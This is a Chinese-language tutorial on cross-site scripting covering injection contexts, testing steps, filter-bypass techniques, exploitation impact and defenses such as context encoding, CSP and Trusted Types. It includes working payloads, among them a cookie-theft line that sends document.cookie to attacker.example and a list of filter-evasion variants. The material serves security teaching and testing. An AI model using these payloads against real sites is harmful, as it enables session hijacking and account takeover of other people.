XSS 漏洞详解——原理、类型、测试与绕过
站点搜索页的回显长这样:URL 是 https://example.com/search?q=键盘,页面显示「您搜索的是:键盘」。搜索词进了页面,这是一个注入点。
把参数换成一段 HTML:
1 | https://example.com/search?q=<img src=x onerror=alert(1)> |
页面不再显示这段文字,而是弹出一个对话框。输入被原样输出成了标签:<img> 的 src=x 加载失败,触发 onerror 里的 alert(1),浏览器把它当代码执行了。
再把 alert(1) 换成把 Cookie 发往外部服务器的脚本:
1 | <img src=x onerror="new Image().src='//attacker.example/log?c='+document.cookie"> |
这一次没有任何可见动静——访问这个链接的已登录用户,其 Cookie 已被发往攻击者的服务器。攻击者拿着 Cookie 就能以该用户身份登录:不需要密码,不需要服务器任何权限。
这两步就是 XSS(跨站脚本)攻击的完整链路。它的前提只有一条:应用把可控输入放进了会被当作代码解析的位置。
OWASP Top 10:2025 把注入类问题列在 A05,其中跨站脚本(CWE-79)累计 CVE 超过 3 万个,是整个分类里数量最多的一类,官方定性为「高频、低影响」。这个定性来自统计平均,单个注入点的实际影响取决于它所处的权限上下文——同一个反射点,在普通用户页面和在管理员后台,是两个量级的漏洞。
文中示例统一使用 example.com 与自建靶场,测试在授权范围内进行。
漏洞原理:三个成立条件
XSS 成立需要三条同时满足:
- 输入可控——参数、表单、Header、Cookie、文件名、富文本,包括 URL 的 fragment
- 输出未按上下文编码——该转义的字符没转,或只转了一部分
- 落在浏览器会当作代码解析的位置——而不是被显示为文本
第 1 条决定这个点值不值得继续测,第 2、3 条决定能不能打通。
实际遇到的绕过点,多数集中在过滤规则与输出位置的不匹配上:站点把 <> 过滤干净了,内容却进入 href 属性,而 javascript: 协议不需要尖括号。过滤做得越”完整”,这种错配越容易被忽略。
第 3 条容易被当作常识跳过,但它决定 payload 形态。同一段输入落进 <div> 之间会执行,落进 <textarea> 只是字面量——后者不需要任何过滤也不会触发。
所以判断顺序是:先看落点,再定 payload,最后才考虑绕过。
三种类型:反射型、存储型、DOM 型
| 类型 | 脚本存在哪 | 谁触发 | 典型位置 | 实战价值 |
|---|---|---|---|---|
| 反射型 | 不存在服务器,藏在链接里 | 受害者点链接 | 搜索框、错误页、跳转参数 | 需社工配合,单次生效 |
| 存储型 | 存进数据库或文件 | 受害者正常访问即触发 | 评论、昵称、工单、日志后台 | 可扩散,落在后台时价值最高 |
| DOM 型 | 只在浏览器内存中 | 前端 JS 自身渲染 | location.hash 取值后写进 innerHTML |
服务端日志看不到 payload |
反射型:payload 随 URL 进入,服务器原样返回到页面。定位快,改参数看回显即可。价值取决于这条链接能否伪装成正常业务链接——短链、跳转参数、分享卡片都算有效载体。
存储型:payload 入库,所有访问该页面的人触发。它的杀伤力不在”能执行”,而在扩散范围和执行者身份。如果存储点位于管理员后台的审阅页(反馈、举报、工单、异常日志),触发者就是管理员。这类点通常称为盲打,判断线索是需要人工审核的入口。
DOM 型:数据从 URL 直接进入前端代码,服务端不参与。要追的是 source → sink 链路:location.hash、document.referrer、window.name、postMessage 的消息体是常见 source;innerHTML、eval、document.write、setAttribute('href', ...) 是常见 sink。
为什么 innerHTML 里的 script 不执行,img onerror 却会
HTML 规范规定:通过 innerHTML 插入的 <script> 元素会被创建,但不执行。这是 innerHTML 场景里常见误判的来源——没打出效果,被当成不存在漏洞。
不需要 <script> 也能运行 JS:
1 | <img src=x onerror=alert(1)> |
事件属性在元素解析完成或事件触发时执行,绕开了上述限制。因此 innerHTML 接收可控输入即为 XSS 风险,与是否出现 <script> 无关。
另一组容易混的:innerHTML 把字符串当 HTML 解析,innerText 只当文本。前者是注入面,后者不是。
测试流程:从注入点到验证
黑盒测试走四步,第三步决定测试能否继续。
第一步,找点。 输入点包括:URL 参数、POST 表单、HTTP 头(Referer、User-Agent、X-Forwarded-For)、Cookie、JSON 字段、上传文件名、富文本。输出点包括:搜索结果、错误提示、个人资料、评论区、后台日志与审阅页、邮件模板、<title>、<meta>。
测试的核心工作是把两组对上:哪个输入最终出现在哪个输出位置,中间经过什么处理。
第二步,定上下文。 同一个注入点,落点不同,payload 不同:
| 落点 | 页面中的形式 | 突破口 |
|---|---|---|
| 标签之间 | <div>这里</div> |
直接插入标签,<img src=x onerror=alert(1)> |
| 属性值内 | <input value="这里"> |
闭合引号后加事件 |
<script> 字符串内 |
var a = "这里"; |
闭合字符串:";alert(1);// |
URL 或 href 内 |
<a href="这里"> |
javascript: 协议,需点击 |
| CSS 内 | style="color:这里" |
老浏览器 expression(),现代浏览器已失效 |
上下文判断的常用做法:提交一个不可能自然出现的标记串(如 zz9test),在响应源码里定位它。
渲染后的页面无法区分 < 与 <,只有源码能看出引号闭合状态、实体化程度、以及它落在哪个标签的哪个位置。
第三步,反推过滤。 起点是一组探测字符:把 <>"' 与一个标记串一并提交,逐字符看响应里的去向——尖括号被实体化,说明走的是 HTML 编码;引号原样保留,说明可以闭合属性;两者都保留,通常可以直接构造。定位到变形规则再看具体手法:
- 全部实体化(
<变<)——这条路径基本封闭。但要确认是否”全部”:只转尖括号而漏掉引号的实现很常见,遇到就走属性闭合 - 关键字被删或被替换——测三件事:是否区分大小写、删一次还是删干净、正则是否覆盖了所有标签
- 被截断——先二分测出长度上限,再把 payload 压到最短:短标签配事件、省略引号、外链脚本去掉协议前缀写成协议相对地址(
//evil.tld/a.js) - 完全无变化但未执行——通常落在
<textarea>、<title>这类元素里,其内容按纯文本解析(规范中称 RCDATA 区域),不产生元素与事件;或被执行层策略拦截
第四步,验证并记录。 记录注入点、payload、执行位置,以及响应中的原始输出片段。报告里引用变形后的具体输出,比写”疑似存在过滤”有效。
上传点同样在测试范围内。允许上传 SVG 等于允许上传一个可执行 JS 的 XML 文件,若该文件能被同源直接访问(/uploads/xxx.svg),脚本就在站点域下执行。头像、附件、图床都值得单独检查。
在真实目标上跑批量 payload 的代价很直接:WAF 告警、IP 封禁、日志留痕,被限速后后续测试全部受影响。
逐点手工验证更容易判断过滤逻辑,也便于控制请求量。
常见过滤与绕过手法
绕过的核心是过滤与渲染之间的错位,而不是 payload 清单的堆叠。
先确定过滤发生在哪一层,四层的应对完全不同:
| 层 | 判断依据 | 应对 |
|---|---|---|
| 前端 JS 校验 | 只拦提交,禁脚本或直接改包即通过 | 绕过前端,直接发原始请求 |
| 服务端过滤 | 响应里能看到变形后的内容 | 分析变形规则,构造匹配外的形态 |
| WAF | 返回拦截页或 403,响应被整体替换 | 调整载荷结构,减少规则命中的特征 |
| 执行层(CSP) | 注入成功但代码不执行,控制台有 violation | 转向 script-src 允许的源与绕过点 |
确认层次后,错位点通常出现在三个方向:
换载体。 过滤针对 script 时,改用其他能触发执行的载体:<img onerror>、<svg onload>、<details ontoggle>、<a href="javascript:">。可用的标签越少,就看这些标签上哪些事件在页面加载时就会触发(如 load、error、toggle)。
换编码。 核心是解码与过滤的先后顺序。HTML 解析会先解实体,j 在属性中等价于 j;URL 参数先解码再渲染,双重编码可能存活;JS 字符串内可用 \u0061 形式。过滤发生在解码之前、执行发生在解码之后,两者之间的空隙就是空间。
换时机。 同一段内容在不同渲染阶段被处理的严格程度不同——富文本先存后显示、草稿预览、邮件模板转页面、移动端与 Web 端各走一套渲染,都属于这类。第一次被净化、第二次未净化的情况很常见。
确认方向后,常见过滤场景与对应手法:
<script>标签被过滤——换标签挂事件:<img src=x onerror=alert(1)>、<svg onload=alert(1)>、<details open ontoggle=alert(1)>on*事件被过滤——用不需要事件的载体:<a href="javascript:alert(1)">、<iframe srcdoc="<script>alert(1)</script>">- 关键字替换区分大小写——大小写混写:
<sCrIpT>alert(1)</ScRiPt>,HTML 标签名不区分大小写 - 关键字被删除——双写补位:
<scrscriptipt>,删除一次script后剩余两段恰好拼回关键字 - 引号被过滤——属性省略引号:
<img src=x onerror=alert(1)> - 空格被过滤——
/分隔:<img/src=x/onerror=alert(1)> javascript:协议被过滤——实体编码:javascript:alert(1)(属性值解析时先解码);data:协议仅在 iframesrc这类可控加载点可用——现代浏览器已阻止顶层data:导航,且data:页面为不透明源,脚本并不在站点域下执行- 函数名(
alert等)被过滤——换函数:prompt(1)、confirm(1),或字符串拼接动态构造:[]["filter"]["constructor"]("ale"+"rt(1)")()——数组的filter方法来自Function.prototype,其constructor就是Function构造器,可从字符串动态生成并执行函数 - 长度受限——最短形式
<svg onload=alert(1)>(21 字符);或分次提交、注释闭合拼接:先存<script>/*,再存*/alert(1)</script>,两段拼合后执行
单个场景的完整变形往往有几十条,日常查询靠三个资源:PortSwigger XSS Cheat Sheet 把标签、事件、属性全量列出,可按浏览器过滤,适合确认某个标签还能不能用;PayloadsAllTheThings 按场景分成 XSS Filter Bypass、Common WAF Bypass、CSP Bypass 等文件,适合已知过滤规则找现成变形;OWASP XSS Filter Evasion Cheat Sheet 汇总了经典编码与混淆手法,内容偏早,基础场景仍可参考。
如果响应头中存在 CSP,先看 script-src 的具体取值。策略严格时,注入成功也无法执行,此时应转向其他攻击面,而不是继续调整 payload。
靶场方面:XSS-Lab 是标准的递增式过滤练习环境,PortSwigger Web Security Academy 覆盖各类上下文与绕过的完整体系。
利用方式与危害评估
弹窗只证明代码能执行,实际危害取决于利用方向:
| 利用方向 | 前提 | 说明 |
|---|---|---|
| 窃取 Cookie | Cookie 未设 HttpOnly |
读取后重放登录态 |
| 表单劫持 | 页面存在登录或改密表单 | 覆盖 action,凭据直接外传 |
| 代替受害者操作 | 无额外条件 | 发消息、加好友、改配置、走审批 |
| 绕 CSRF Token | 同源 | 脚本可读页面内 token,CSRF 防护失效 |
| 打后台到 RCE | 后台存在危险功能 | 借任务计划、模板、备份功能写入文件 |
| 钓鱼挂马 | 需社工配合 | 页面内伪造登录框,或诱导下载 |
XSS 的实际价值在这一层:它提供的是在受害者身份下执行任意代码的能力。报告写「存在 XSS,可弹窗」,与写「可读取会话凭证并代替管理员执行审批操作」,评级与修复优先级不在一个量级。
最小验证代码(仅靶场)
验证 HttpOnly 是否生效,三行足够:
1 | <script> |
服务端记录 query 即可。报告里写明「document.cookie 可读,值形如 xxx(已打码)」即可说明问题,无需附利用代码。
存储型 XSS 的清理成本远高于反射型:数据入库后需逐条定位、删除并评估影响面,测试阶段的持久化写入会留在业务数据中,后续排查和回溯都依赖这些记录。
验证在授权范围内进行,写入的数据在测试结束后清理。
防御方案
第一层,输出按上下文编码。 这是主力。同一个值写入 HTML 正文、属性、JS 字符串、URL、CSS,编码规则各不相同,手写替换函数容易漏掉上下文差异,按 OWASP XSS Prevention Cheat Sheet 的上下文转义规则处理更稳。现代框架(React、Vue、Angular)默认转义,风险集中在那几个逃逸口:dangerouslySetInnerHTML、v-html、innerHTML。审计时优先看这几处。
第二层,CSP 兜底。 注入拦不住时,让脚本无法执行:
1 | Content-Security-Policy: script-src 'self' 'nonce-<随机值>' 'strict-dynamic'; object-src 'none'; base-uri 'none' |
三个常见配置问题:unsafe-inline 与 nonce 同时存在(现代浏览器忽略 unsafe-inline,老浏览器不忽略,等于为旧客户端保留通道);遗漏 base-uri(可注入 <base> 改变相对路径脚本的加载地址);strict-dynamic 会让被 nonce 授信的脚本动态加载的其他脚本自动获得信任,站点存在 JSONP 或可控脚本加载点时,这条信任链会被直接利用。
第三层,降低被利用后的损失。 Cookie 加 HttpOnly、Secure、SameSite,脚本执行后也无法读取会话;富文本必须放行 HTML 时使用 DOMPurify 一类成熟净化器,并纳入版本升级——固定旧版本等于保留已知漏洞。
再往前一步是 Trusted Types:CSP 增加 require-trusted-types-for 指令,把字符串直接进入 sink 变成运行时错误,从”依赖开发者记得转义”变为”不转义即中断”。2026 年 2 月起达到 Baseline(Chrome/Edge 83+、Firefox 148+、Safari 26+),迁移时先用 Content-Security-Policy-Report-Only 收集违规再切强制。default policy(浏览器对未走策略的字符串自动调用的名为 default 的兜底策略)写成原样返回(createHTML: s => s)只通过类型检查,不改变实际风险。
X-XSS-Protection 已无实际作用。它控制的浏览器内置过滤器全部移除:Chrome 78(2019)删除 XSS Auditor,Safari 15.4 移除,Firefox 未实现,Edge 在 EdgeHTML 17 移除。此外它有两种模式各自的弱点:净化模式(1)下,过滤器依据”请求串是否出现在响应中”判断攻击,攻击者可反向利用这一点,让过滤器误拦页面自身的正常脚本;1; mode=block 模式下,拦截与放行造成的响应差异构成侧信道,可被用作跨域信息泄露的探针。该响应头可直接删除,同等精力投入编码与 CSP 的收益更高。
变种与延伸阅读
这些变种的共同点是漏洞位置不在页面注入点:mXSS 在净化器的处理流程里,UXSS 在浏览器或扩展自身,PDF 型在文件阅读器。
变种清单:mXSS、UXSS、SVG、PDF、Flash
| 变种 | 机制 | 2026 年的实际价值 |
|---|---|---|
| mXSS | 净化器序列化再解析时结构变化,绕过白名单 | 有,集中在富文本与编辑器 |
| UXSS | 利用浏览器或扩展自身漏洞,不依赖目标站缺陷 | 有,取决于具体 CVE |
| SVG 型 | SVG 为 XML,<script> 可执行 |
高,头像与图片上传常见 |
| PDF 型 | PDF 内嵌 JS 动作,由阅读器执行 | 中,不同阅读器支持范围差异大 |
| Flash 型 | ExternalInterface.call 等与 JS 通信 |
归零,Adobe 已于 2020-12-31 停止支持 |
Flash 相关(swf、getURL、ExternalInterface)现仅存史料价值。
UXSS 案例:CVE-2021-34506
Edge 内置翻译功能未对输入做净化。攻击者在页面中插入其他语种文本与 XSS payload,用户点击地址栏翻译提示时,代码在任意站点上下文执行——目标站自身不需要任何缺陷。
CVSS 5.4,微软于 2021-06-24 的 91.0.864.59 版本修复,向发现者支付 2 万美元赏金,详见 CVE-2021-34506 报道。
与普通 XSS 的区别在于漏洞位置:在浏览器,不在网站。站点侧的所有防护在这类漏洞面前不起作用。
DOMPurify 2026 年修复的三个漏洞
- CVE-2026-41238:原型污染构造
tagNameCheck,放行任意自定义元素——利用前提是站内本身存在可被原型污染的 gadget,3.4.0 修复 - CVE-2026-65912:
ADD_ATTR传函数时绕过 URI 校验,javascript:存活,3.3.2 修复 - CVE-2026-49978:
IN_PLACE模式遗漏template.content中的影子内容,3.4.7 修复
写这篇文章时,三个漏洞都已修复,DOMPurify Releases 上也陆续发布到 3.4.17。净化器本身同样在持续暴露绕过,版本要跟在其他依赖前面升级。
测试速查表
| 场景 | 先看什么 | 优先尝试 |
|---|---|---|
| 搜索、错误回显 | 是否原样反射、是否实体化 | <img src=x onerror=alert(1)> |
| 个人资料、评论区 | 是否持久、后台是否展示 | 存储型,针对后台审阅页 |
| URL fragment 驱动的前端 | JS 中是否存在 innerHTML |
DOM 型,追 source→sink |
| 头像、附件上传 | 是否允许 SVG 或 HTML,直链是否同源 | 上传后直接访问 |
| 富文本编辑器 | 净化器版本与配置 | mXSS、白名单外标签 |
落点判断与过滤反推占据测试的主要工作量;防御侧真正有效的是按上下文编码,WAF 规则只起降噪作用。





